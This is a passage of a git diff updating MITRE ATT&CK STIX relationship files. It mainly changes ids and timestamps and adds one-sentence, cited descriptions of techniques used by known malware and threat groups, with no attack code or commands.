             "id": "relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL is capable of setting and deleting Registry values.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--a713d0d3-2897-4da2-995f-df3a40f04b29.json b/enterprise-attack/relationship/relationship--a713d0d3-2897-4da2-995f-df3a40f04b29.json
index a9d14cf0d9..0b22532a53 100644
--- a/enterprise-attack/relationship/relationship--a713d0d3-2897-4da2-995f-df3a40f04b29.json
+++ b/enterprise-attack/relationship/relationship--a713d0d3-2897-4da2-995f-df3a40f04b29.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--52cab871-d851-4320-8aaa-9aad7430fd64",
+    "id": "bundle--bf3c4a51-49d7-42ec-90d6-aa6750c9a0a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a713d0d3-2897-4da2-995f-df3a40f04b29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823.json b/enterprise-attack/relationship/relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823.json
index 056af79d76..fa0b7f662b 100644
--- a/enterprise-attack/relationship/relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823.json
+++ b/enterprise-attack/relationship/relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa3442e0-bee5-4661-93d6-48da488e41ca",
+    "id": "bundle--ccae30c4-7661-4537-905e-0133ae608216",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
diff --git a/enterprise-attack/relationship/relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9.json b/enterprise-attack/relationship/relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9.json
index bf25343392..04b36916e4 100644
--- a/enterprise-attack/relationship/relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9.json
+++ b/enterprise-attack/relationship/relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--71ea70fa-0af7-4d11-a4ec-9704062b34b3",
+    "id": "bundle--3ec96a5b-7ecd-42e3-ba49-29c1780121b7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke connects over 443 for C2.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27.json b/enterprise-attack/relationship/relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27.json
index 47d48e0383..55780a8e9f 100644
--- a/enterprise-attack/relationship/relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27.json
+++ b/enterprise-attack/relationship/relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a5073a02-1a04-44c7-a3de-a548ddc80751",
+    "id": "bundle--7a492710-e805-4cfb-879e-c83238bb6f84",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
diff --git a/enterprise-attack/relationship/relationship--a73f9ed3-7f51-4709-a63f-f5ef59aa25cf.json b/enterprise-attack/relationship/relationship--a73f9ed3-7f51-4709-a63f-f5ef59aa25cf.json
index 2ea6e20869..645d09bc7c 100644
--- a/enterprise-attack/relationship/relationship--a73f9ed3-7f51-4709-a63f-f5ef59aa25cf.json
+++ b/enterprise-attack/relationship/relationship--a73f9ed3-7f51-4709-a63f-f5ef59aa25cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f536f709-61b7-42f5-8e81-2ad085804860",
+    "id": "bundle--0a50bb54-b5cc-4dcd-b020-cc282400b3e0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a73f9ed3-7f51-4709-a63f-f5ef59aa25cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used RAR to compress, encrypt, and password-protect files prior to exfiltration.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333.json b/enterprise-attack/relationship/relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333.json
index 9e2629fa3d..63aee000a0 100644
--- a/enterprise-attack/relationship/relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333.json
+++ b/enterprise-attack/relationship/relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c631491a-2c33-4d74-8169-262ad0ae69eb",
+    "id": "bundle--c21a4d36-7a18-417a-b7c7-0bbd01a9da3e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger is capable of stealing usernames and passwords from browsers on the victim machine.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--a79ff150-e765-4303-9668-ff553d6000cd.json b/enterprise-attack/relationship/relationship--a79ff150-e765-4303-9668-ff553d6000cd.json
index 75926da2c2..3ae32417e0 100644
--- a/enterprise-attack/relationship/relationship--a79ff150-e765-4303-9668-ff553d6000cd.json
+++ b/enterprise-attack/relationship/relationship--a79ff150-e765-4303-9668-ff553d6000cd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--34794d91-552c-4ad1-b6f5-7d363fe7ba59",
+    "id": "bundle--59666c7f-7fe6-4fc7-b994-bf2167b5fc3d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a79ff150-e765-4303-9668-ff553d6000cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula calls cmd.exe to run various DLL files via rundll32.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59.json b/enterprise-attack/relationship/relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59.json
index 40df3d913b..3034f4d3ec 100644
--- a/enterprise-attack/relationship/relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59.json
+++ b/enterprise-attack/relationship/relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a18d665-be70-4df9-9401-c07059c71841",
+    "id": "bundle--b9ff624e-f771-47b2-9a15-73d1096ad8d6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi obfuscates C2 traffic with variable 4-byte XOR keys.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35.json b/enterprise-attack/relationship/relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35.json
index af635d6f75..9bbeb508a3 100644
--- a/enterprise-attack/relationship/relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35.json
+++ b/enterprise-attack/relationship/relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5cd3448-449b-44ad-90d8-d029704bb393",
+    "id": "bundle--99b782ac-8d0e-4aa8-bb83-4e7698d28d90",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d.json b/enterprise-attack/relationship/relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d.json
index 0fc8060610..c52ad1995d 100644
--- a/enterprise-attack/relationship/relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d.json
+++ b/enterprise-attack/relationship/relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ff48bc1d-9875-4012-b097-ec78eab32deb",
+    "id": "bundle--7e130760-12cb-4e65-bcb0-949c81808b88",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,16 +8,16 @@
             "id": "relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "ChChes identifies the file path for the %TEMP% director and sets its current working directory to that path.",
+            "description": "ChChes collects the victim's %TEMP% directory path and version of Internet Explorer.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "external_references": [
                 {
-                    "source_name": "Palo Alto menuPass Feb 2017",
-                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
-                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
+                    "source_name": "FireEye APT10 April 2017",
+                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--a805a8d5-632c-48df-909d-c3d745652475.json b/enterprise-attack/relationship/relationship--a805a8d5-632c-48df-909d-c3d745652475.json
index ddbb00ee6e..4995e70276 100644
--- a/enterprise-attack/relationship/relationship--a805a8d5-632c-48df-909d-c3d745652475.json
+++ b/enterprise-attack/relationship/relationship--a805a8d5-632c-48df-909d-c3d745652475.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--77635660-2b0a-4d30-b761-a5f1d86983b3",
+    "id": "bundle--cd4d1275-3f76-4793-83d7-bb514f91763b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a805a8d5-632c-48df-909d-c3d745652475",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BS2005 uses Base64 encoding for communication in the message body of an HTTP request.",
             "source_ref": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6",
diff --git a/enterprise-attack/relationship/relationship--a8122755-90fe-4b68-8fa1-55ed7be90931.json b/enterprise-attack/relationship/relationship--a8122755-90fe-4b68-8fa1-55ed7be90931.json
index 86cec3798b..d3392519c7 100644
--- a/enterprise-attack/relationship/relationship--a8122755-90fe-4b68-8fa1-55ed7be90931.json
+++ b/enterprise-attack/relationship/relationship--a8122755-90fe-4b68-8fa1-55ed7be90931.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63cdb491-dec8-48e8-a246-ba692aa41c86",
+    "id": "bundle--83833159-8e1e-48e9-adef-50830b017314",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a8122755-90fe-4b68-8fa1-55ed7be90931",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
             "target_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
diff --git a/enterprise-attack/relationship/relationship--a83182d2-b619-4ca4-984b-21ecfe43da26.json b/enterprise-attack/relationship/relationship--a83182d2-b619-4ca4-984b-21ecfe43da26.json
index 0ffbc80bb7..1383679231 100644
--- a/enterprise-attack/relationship/relationship--a83182d2-b619-4ca4-984b-21ecfe43da26.json
+++ b/enterprise-attack/relationship/relationship--a83182d2-b619-4ca4-984b-21ecfe43da26.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b2c35300-22da-4255-8173-78d0cd0aa3d3",
+    "id": "bundle--a6907c1c-4807-407c-8896-65003a2efc05",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a83182d2-b619-4ca4-984b-21ecfe43da26",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca.json b/enterprise-attack/relationship/relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca.json
index 58b90aec5b..a002779261 100644
--- a/enterprise-attack/relationship/relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca.json
+++ b/enterprise-attack/relationship/relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45eb95f3-dfd9-4e6c-bd98-3b9396a0216f",
+    "id": "bundle--ff5ae3eb-1c29-42af-8dd7-e56e60a7eaba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--a88332d2-d03f-4139-b11c-19e82459189b.json b/enterprise-attack/relationship/relationship--a88332d2-d03f-4139-b11c-19e82459189b.json
new file mode 100644
index 0000000000..4c8a77e73a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a88332d2-d03f-4139-b11c-19e82459189b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--62d82394-677a-4c65-8448-6c43f9251d5e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a88332d2-d03f-4139-b11c-19e82459189b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may collect information about the system by running <code>hostname</code> and <code>systeminfo</code> on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf.json b/enterprise-attack/relationship/relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf.json
new file mode 100644
index 0000000000..43d4e1ef37
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--41045d5d-dc42-4df7-b5c0-81206ae17c9b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft Wingbird Nov 2017",
+                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
+                    "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a8b248fe-a27c-40fd-83d5-f4382035d656.json b/enterprise-attack/relationship/relationship--a8b248fe-a27c-40fd-83d5-f4382035d656.json
new file mode 100644
index 0000000000..1183e6d79c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a8b248fe-a27c-40fd-83d5-f4382035d656.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--100cc088-e6d8-45e0-82ac-6dd6f02d75ea",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a8b248fe-a27c-40fd-83d5-f4382035d656",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that looks for files and directories on the local file system. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "external_references": [
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3.json b/enterprise-attack/relationship/relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3.json
index a883258cca..af1010f360 100644
--- a/enterprise-attack/relationship/relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3.json
+++ b/enterprise-attack/relationship/relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a6fd75e3-accb-494d-a743-81230b0c7fcc",
+    "id": "bundle--57777f7d-2217-4516-9b80-8937d39adb0c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Net Crawler uses credential dumpers such as Mimikatz and Windows Credential Editor to extract cached credentials from Windows systems.",
             "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
diff --git a/enterprise-attack/relationship/relationship--a8f11c39-df96-451e-a93a-417512f82819.json b/enterprise-attack/relationship/relationship--a8f11c39-df96-451e-a93a-417512f82819.json
index 6850351ed2..3f01539e14 100644
--- a/enterprise-attack/relationship/relationship--a8f11c39-df96-451e-a93a-417512f82819.json
+++ b/enterprise-attack/relationship/relationship--a8f11c39-df96-451e-a93a-417512f82819.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--955686b2-de76-4658-81bd-efd0ccd435d8",
+    "id": "bundle--84e28b58-bb6a-49a9-8780-618c0c02e58b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a8f11c39-df96-451e-a93a-417512f82819",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can obtain the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9.json b/enterprise-attack/relationship/relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9.json
index 99aa67f65a..3180392103 100644
--- a/enterprise-attack/relationship/relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9.json
+++ b/enterprise-attack/relationship/relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--38d9c4e9-d712-40bb-b3e2-c4dc3f058363",
+    "id": "bundle--64e5bad1-92e9-4b7c-b6aa-6e251383b36b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--a92197a8-ec5c-4366-92af-f45078a3bfd7.json b/enterprise-attack/relationship/relationship--a92197a8-ec5c-4366-92af-f45078a3bfd7.json
new file mode 100644
index 0000000000..df19f40c0c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a92197a8-ec5c-4366-92af-f45078a3bfd7.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--8a5eefe3-dcf3-4a32-aad4-6af868915f33",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a92197a8-ec5c-4366-92af-f45078a3bfd7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 replaces the Sticky Keys binary <code>C:\\Windows\\System32\\sethc.exe</code> for persistence. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43.json b/enterprise-attack/relationship/relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43.json
index 9b616bd7a1..28925999ca 100644
--- a/enterprise-attack/relationship/relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43.json
+++ b/enterprise-attack/relationship/relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b6b56dbf-2e22-4a8b-b7b7-5dbef5dad8ad",
+    "id": "bundle--8ac902b7-c2e4-469d-9e37-0d993f60621e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
